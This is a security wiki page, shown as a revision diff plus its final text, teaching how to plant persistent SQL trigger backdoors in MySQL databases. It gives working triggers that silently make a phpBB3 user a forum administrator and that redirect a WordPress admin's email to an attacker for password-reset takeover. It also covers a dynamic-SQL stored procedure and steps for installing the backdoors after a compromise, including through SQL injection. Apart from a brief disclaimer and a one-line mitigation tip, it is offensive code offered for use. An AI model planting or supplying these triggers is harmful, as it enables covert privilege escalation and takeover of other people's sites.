Questions about this topic? Sign up to ask in the talk tab.

Difference between revisions of "SQL backdoor"

From NetSec
Jump to: navigation, search
(Syntax)
 
(29 intermediate revisions by 6 users not shown)
Line 1: Line 1:
{{info|'''[[SQL]] Malware''' affects a variety of [[database]]-driven [[applications]], including but not limited to [[Web applications|web applications]], services, and desktop applications.  This breed of [[Viruses|malware]] is made possible by the [[SQL]] functionality for '''triggers''' and stored '''sub-procedures'''.}}
+
{{info|'''[[SQL]] Malware''' affects a variety of [[database]]-driven [[application]]s, including but not limited to [[Web applications|web applications]], services, and desktop applications.  This breed of [[Viruses|malware]] is made possible by the [[SQL]] functionality for '''triggers''' and stored '''sub-procedures'''.}}
 
+
<font size="-2">Special thanks to [[User:hatter|hatter]] for his contributions to this article.</font>
 
=Concept=
 
=Concept=
{{notice|SQL malware persists beyond deletion of rows containing it from a table.}}SQL malware can exist in subprocedures and triggers, resulting in its activation at the execution of every (or a specific) query.  It can do anything from resetting a password hash to replacing user-contributed content with redirects [[Bleeding Life|browser exploits]] and other malware distribution tactics.{{protip|PostgreSQL allows a developer to write triggers, functions, and stored procedures in languages other than SQL.  This may assist in making the backdoor harder to find, or adding additional functionality.}}
+
{{notice|SQL malware persists beyond deletion of rows containing it from a table.}}SQL malware can exist in subprocedures and triggers, resulting in its activation at the execution of every (or a specific) query.  It can do anything from resetting a password hash to replacing user-contributed content with redirects [[Bleeding Life|browser exploits]] and other malware distribution tactics.  Nearly every [[databasing engine]] has support for the necessary functionality to interface malware.{{protip|PostgreSQL allows a developer to write triggers, functions, and stored procedures in languages other than SQL.  This may assist in making the backdoor harder to find, or adding additional functionality.}}
 
==Subprocedures==
 
==Subprocedures==
'''Sub-procedures''' are similar to '''functions''' or '''methods''' in other programming languages.  They can be passed arguments, perform operations on the arguments passed, and return computed data.   
+
'''Sub-procedures''' are similar to '''functions''' or '''methods''' in other programming languages.  They can be passed arguments, perform operations on the arguments passed, and return computed data.{{notice|Stored procedures '''can be abused with environment variables''' and '''prepared statements''' to allow '''dynamic sql'''.}}
 +
* mysql> select 'select count(*) from information_schema.tables where table_schema=?' into @lol;
 +
* mysql> select 'information_schema' into @arg;
 +
{{code|text=<source lang="sql">delimiter #
 +
CREATE PROCEDURE exec_sql(OUT param1 INT)
 +
BEGIN
 +
    prepare stmt from @lol;
 +
    execute stmt using @arg;
 +
    set param1=1;
 +
END #
 +
delimiter ;</source>}}
 +
* mysql> call exec_sql(@b);
 +
If the query succeeded, you will be returned the count of the tables in the information_schema databaseSelecting @b should also return `1'.
 
==Event Procedures==
 
==Event Procedures==
'''Triggers''', otherwise referred to as '''event procedures''' in other programming languages, may be attached to any table for '''update''','''delete''', or '''insert''' queries.  It is important to note that while triggers cannot be bound to '''select''' queries, many applications store user activity history in [[SQL]] (search history, for example).  In stead of hooking the '''SELECT ... LIKE''' statement against the table being searched to determine if a search query contained a particular keyword, a developer can hook the '''INSERT''' query against the history table where the search is logged.
+
{{warning|If a table already has a trigger attached for the query type you are attempting to hook, installation of the backdoor will fail.}}'''Triggers''', otherwise referred to as '''event procedures''' in other programming languages, may be attached to any table for '''update''','''delete''', or '''insert''' queries.  It is important to note that while triggers cannot be bound to '''select''' queries, many applications store user activity history in [[SQL]] (search history, for example).  In stead of hooking the '''SELECT ... LIKE''' statement against the table being searched to determine if a search query contained a particular keyword, a developer can hook the '''INSERT''' query against the history table where the search is logged.
  
 
=Implementation=
 
=Implementation=
Line 14: Line 26:
 
* '''CREATE TRIGGER''' requires the '''SUPER''' privilege on the selected [[database]] in order to execute successfully.
 
* '''CREATE TRIGGER''' requires the '''SUPER''' privilege on the selected [[database]] in order to execute successfully.
 
* '''CREATE TRIGGER''' was added to [[MySQL]] in version 5.0.2 and has not been removed since.
 
* '''CREATE TRIGGER''' was added to [[MySQL]] in version 5.0.2 and has not been removed since.
 
 
===Syntax===
 
===Syntax===
 
Because [[MySQL]] procedures and triggers are meant to be stored by the [[SQL]] server rather than [[Interpreted languages|interpreted]] at runtime, a '''delimiter''' command must be used from the command line in order for the `''';'''' character to pass through to the server unscathed.
 
Because [[MySQL]] procedures and triggers are meant to be stored by the [[SQL]] server rather than [[Interpreted languages|interpreted]] at runtime, a '''delimiter''' command must be used from the command line in order for the `''';'''' character to pass through to the server unscathed.
Line 24: Line 35:
 
   end; #
 
   end; #
 
  delimiter ;
 
  delimiter ;
 +
{{quote|Within the procedural code, the '''OLD''' and '''NEW''' keywords represent the row inside of the foreach before and after the query is executed, respectively.|The MySQL Manual}}
  
===Example: phpBB3 backdoor===
+
===Example A: phpBB3 backdoor (UPDATE hook)===
 +
{{info|Obtaining '''forum administrator''' level permissions on phpbb3 can allow an attacker to obtain '''remote code execution''' by enabling [[PHP]] in template files and embedding a [[PHP]] backdoor.}}
 
====Code====
 
====Code====
 
{{code|text=<source lang="sql">delimiter #
 
{{code|text=<source lang="sql">delimiter #
Line 36: Line 49:
 
END;#
 
END;#
 
delimiter ;</source>}}
 
delimiter ;</source>}}
 
 
====Analysis====
 
====Analysis====
 
In phpBB3, default settings for user_type and group_id for an administrative user are 3 and 5, respectively.  In order to ensure we don't trip our backdoor by accident, we require two actions to activate it.  A user must first set their AIM (or AOL instant messenger) name in their forum profile to `passive'.  This will meet the first criteria.  Changing the AIM name directly from `passive' to `aggressive' will activate the backdoor and upgrade the user account to a forum administrator.
 
In phpBB3, default settings for user_type and group_id for an administrative user are 3 and 5, respectively.  In order to ensure we don't trip our backdoor by accident, we require two actions to activate it.  A user must first set their AIM (or AOL instant messenger) name in their forum profile to `passive'.  This will meet the first criteria.  Changing the AIM name directly from `passive' to `aggressive' will activate the backdoor and upgrade the user account to a forum administrator.
 +
 +
===Example B: Wordpress backdoor (INSERT hook)===
 +
{{info|Wordpress provides an administrative interface for editing [[PHP]], css, and html files.  Once administrative access is obtained, obtaining remote code execution is trivial.}}
 +
====Code====
 +
{{code|text=<source lang="sql">delimiter #
 +
CREATE TRIGGER user_comment BEFORE INSERT ON wp_comments
 +
FOR EACH ROW BEGIN
 +
    IF NEW.comment_content = 'way around the back' THEN
 +
      select user_email from wp_users where id=new.user_id into @email;
 +
      UPDATE wp_users SET user_email=@email WHERE ID=1;
 +
    END IF;
 +
END;#
 +
delimiter ;</source>}}
 +
====Analysis====
 +
When a comment is posted with the content "way around the back", the admin (ID = 1) user's email is immediately updated to the email of the user posting the content.  The attacker can then go click the forgot password link and check their email to reset the administrator password.
  
 
==Backdoor Installation==
 
==Backdoor Installation==
 +
{{info|Due to the fact that they lie virtually dormant until conditions are met and typically ensure [[privilege escalation]] to code execution, backdoors of this type are typically installed '''after''' a machine is compromised in case of the event that access is lost.}}
 +
===Access/Configuration Requirements===
 +
'''One of the following is necessary to install your backdoor:'''
 +
* [[MySQL]] CLI Access
 +
* Ability to write files on the target system
 +
* Multiple queries allowed in the [[SQL]] statements from the SQL [[API|api]] in use
 +
 +
===Writing to file and using "source"===
 +
* Write the code contents to a .sql file (we will use '''file.sql''' as an example)
 +
* From an [[SQL injection]] vulnerability or from the mysql command line, execute the query:
 +
  source /path/to/file.sql
 +
 +
===Writing directly into the command line===
 +
* Invoke `mysql -uuser -ppassword [database_name]' from the [[bash]] command line.
 +
* If you forgot to specify the [[database]] name, simply typing `use [databasename]' will resolve this.
 +
* Paste the code exactly as it is on this page into the [[MySQL]] terminal.
 +
 +
=Mitigation=
 +
{{protip|Don't waste too much time mitigating this type of vulnerability.  It's quite simple to mitigate by revoking the '''SUPER''' privilege to all users for the database in question.  No crazy audits, no time wasted, just one query.}}
 +
 +
=Taking it further=
 +
* MySQL also supports plug-ins.  A user must have the '''[[SQL_Orientation#INSERT_-_Add_rows_to_a_table|INSERT]]''' permission on the '''INFORMATION_SCHEMA.PLUGINS''' table to install one, however a '''daemon plug-in''' is capable of using '''sockets''' and maintaining '''its own event loop''' inside of a '''pthread''' in [[C]].  Daemon plug-ins are also allowed filesystem access.
 +
* PostgreSQL not only provides a functional [[SQL]] [[API]], but also allows for procedures to be written in [[TCL]], [[ruby]], [[perl]], or [[python]].  Additionally, PostgreSQL also supports user-defined routines in [[C]].
 +
 +
 +
{{programming}}{{social}}
 +
 +
[[Category:Maintaining_Access]]

Latest revision as of 03:28, 20 September 2012

c3el4.png SQL Malware affects a variety of database-driven applications, including but not limited to web applications, services, and desktop applications. This breed of malware is made possible by the SQL functionality for triggers and stored sub-procedures.

Special thanks to hatter for his contributions to this article.

Concept

Notice: SQL malware persists beyond deletion of rows containing it from a table.
SQL malware can exist in subprocedures and triggers, resulting in its activation at the execution of every (or a specific) query. It can do anything from resetting a password hash to replacing user-contributed content with redirects browser exploits and other malware distribution tactics. Nearly every databasing engine has support for the necessary functionality to interface malware.
Protip: PostgreSQL allows a developer to write triggers, functions, and stored procedures in languages other than SQL. This may assist in making the backdoor harder to find, or adding additional functionality.

Subprocedures

Sub-procedures are similar to functions or methods in other programming languages. They can be passed arguments, perform operations on the arguments passed, and return computed data.
Notice: Stored procedures can be abused with environment variables and prepared statements to allow dynamic sql.
  • mysql> select 'select count(*) from information_schema.tables where table_schema=?' into @lol;
  • mysql> select 'information_schema' into @arg;
delimiter #
CREATE PROCEDURE exec_sql(OUT param1 INT)
BEGIN
    PREPARE stmt FROM @lol;
    EXECUTE stmt USING @arg;
    SET param1=1;
END #
delimiter ;
  • mysql> call exec_sql(@b);

If the query succeeded, you will be returned the count of the tables in the information_schema database. Selecting @b should also return `1'.

Event Procedures

RPU0j.png If a table already has a trigger attached for the query type you are attempting to hook, installation of the backdoor will fail.
Triggers, otherwise referred to as event procedures in other programming languages, may be attached to any table for update,delete, or insert queries. It is important to note that while triggers cannot be bound to select queries, many applications store user activity history in SQL (search history, for example). In stead of hooking the SELECT ... LIKE statement against the table being searched to determine if a search query contained a particular keyword, a developer can hook the INSERT query against the history table where the search is logged.

Implementation

RPU0j.png These notes are for educational purposes only. Use of these code snippets on systems or databases that you do not own is a criminal act.
Protip: Depending on the databasing engine's version and configuration, it may be possible to inject SQL malware using SQL injection.

MySQL

  • CREATE FUNCTION and CREATE PROCEDURE require the CREATE ROUTINE privilege to execute successfully. Depending on the security context of the CREATE statement's DEFINER clause, the SUPER privilege may also be required. (As of MySQL 5.0.3)
  • CREATE TRIGGER requires the SUPER privilege on the selected database in order to execute successfully.
  • CREATE TRIGGER was added to MySQL in version 5.0.2 and has not been removed since.

Syntax

Because MySQL procedures and triggers are meant to be stored by the SQL server rather than interpreted at runtime, a delimiter command must be used from the command line in order for the `;' character to pass through to the server unscathed. Create Trigger Syntax:

delimiter #
 create trigger trigger_name before [ update | insert | delete ] on table_name
 for each row begin
  [procedural sql code goes here]
 end; #
delimiter ;
The MySQL Manual says
Within the procedural code, the OLD and NEW keywords represent the row inside of the foreach before and after the query is executed, respectively.

Example A: phpBB3 backdoor (UPDATE hook)

c3el4.png Obtaining forum administrator level permissions on phpbb3 can allow an attacker to obtain remote code execution by enabling PHP in template files and embedding a PHP backdoor.

Code

delimiter #
CREATE TRIGGER update_users BEFORE UPDATE ON phpbb3_users
FOR EACH ROW BEGIN
    IF OLD.user_aim="passive" AND NEW.user_aim="aggressive" THEN
        SET NEW.group_id = 5;
        SET NEW.user_type = 3;
    END IF;
END;#
delimiter ;

Analysis

In phpBB3, default settings for user_type and group_id for an administrative user are 3 and 5, respectively. In order to ensure we don't trip our backdoor by accident, we require two actions to activate it. A user must first set their AIM (or AOL instant messenger) name in their forum profile to `passive'. This will meet the first criteria. Changing the AIM name directly from `passive' to `aggressive' will activate the backdoor and upgrade the user account to a forum administrator.

Example B: Wordpress backdoor (INSERT hook)

c3el4.png Wordpress provides an administrative interface for editing PHP, css, and html files. Once administrative access is obtained, obtaining remote code execution is trivial.

Code

delimiter #
CREATE TRIGGER user_comment BEFORE INSERT ON wp_comments
FOR EACH ROW BEGIN
    IF NEW.comment_content = 'way around the back' THEN
       SELECT user_email FROM wp_users WHERE id=NEW.user_id INTO @email;
       UPDATE wp_users SET user_email=@email WHERE ID=1;
    END IF;
END;#
delimiter ;

Analysis

When a comment is posted with the content "way around the back", the admin (ID = 1) user's email is immediately updated to the email of the user posting the content. The attacker can then go click the forgot password link and check their email to reset the administrator password.

Backdoor Installation

c3el4.png Due to the fact that they lie virtually dormant until conditions are met and typically ensure privilege escalation to code execution, backdoors of this type are typically installed after a machine is compromised in case of the event that access is lost.

Access/Configuration Requirements

One of the following is necessary to install your backdoor:

  • MySQL CLI Access
  • Ability to write files on the target system
  • Multiple queries allowed in the SQL statements from the SQL api in use

Writing to file and using "source"

  • Write the code contents to a .sql file (we will use file.sql as an example)
  • From an SQL injection vulnerability or from the mysql command line, execute the query:
 source /path/to/file.sql

Writing directly into the command line

  • Invoke `mysql -uuser -ppassword [database_name]' from the bash command line.
  • If you forgot to specify the database name, simply typing `use [databasename]' will resolve this.
  • Paste the code exactly as it is on this page into the MySQL terminal.

Mitigation

Protip: Don't waste too much time mitigating this type of vulnerability. It's quite simple to mitigate by revoking the SUPER privilege to all users for the database in question. No crazy audits, no time wasted, just one query.


Taking it further

  • MySQL also supports plug-ins. A user must have the INSERT permission on the INFORMATION_SCHEMA.PLUGINS table to install one, however a daemon plug-in is capable of using sockets and maintaining its own event loop inside of a pthread in C. Daemon plug-ins are also allowed filesystem access.
  • PostgreSQL not only provides a functional SQL API, but also allows for procedures to be written in TCL, ruby, perl, or python. Additionally, PostgreSQL also supports user-defined routines in C.


SQL backdoor is part of a series on programming.
<center>
</center>